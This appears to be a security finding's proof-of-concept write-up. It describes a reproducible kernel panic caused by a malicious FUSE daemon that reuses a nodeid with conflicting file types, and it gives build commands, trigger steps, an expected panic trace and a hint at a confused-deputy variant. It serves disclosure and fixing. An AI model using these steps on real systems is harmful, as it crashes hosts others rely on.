# DF-0926 — PoC: type-confusion panic via daemon nodeid reuse

## Goal

Trigger a deterministic kernel panic by serving a FUSE mount that returns
the same nodeid for two different operations with conflicting types
(e.g., `S_IFREG` for one file, `S_IFDIR` for a directory created later).
The kernel hits `KKASSERT(vap->va_type == fnp->type)` at
`fuse_vnops.c:81`, which fires unconditionally because `INVARIANTS` is
forced on at `fuse.h:31-33`.

## Build & run

```
cc -o fusedemo fusedemo.c $(pkg-config fuse --cflags --libs) -D_FILE_OFFSET_BITS=64
mkdir -p /mnt/fuse
./fusedemo /mnt/fuse &

# In another shell (any user with access to /mnt/fuse):
ls /mnt/fuse/baitfile    # creates fuse_node(100, VREG)
mkdir /mnt/fuse/crashdir # daemon returns nodeid=100 as VDIR -> KKASSERT panic
```

## Expected output

```
panic: vap->va_type == fnp->type
cpuid = ...
Trace begins at ...
fuse_set_attr(...)    at fuse_set_attr+0x...      (fuse_vnops.c:81)
fuse_vop_nmkdir(...)  at fuse_vop_nmkdir+0x...
vop_nmkdir(...)       at vop_nmkdir+0x...
```

The system halts. 100% reproducible, no race required.

## Notes

- Any user with read+execute on the FUSE mount can trigger this; the
  malicious behavior is entirely on the daemon side.
- If `INVARIANTS` were ever removed from `fuse.h`, the `KKASSERT`
  becomes a no-op and the type confusion proceeds silently — at which
  point it becomes a confused-deputy vector rather than a panic.
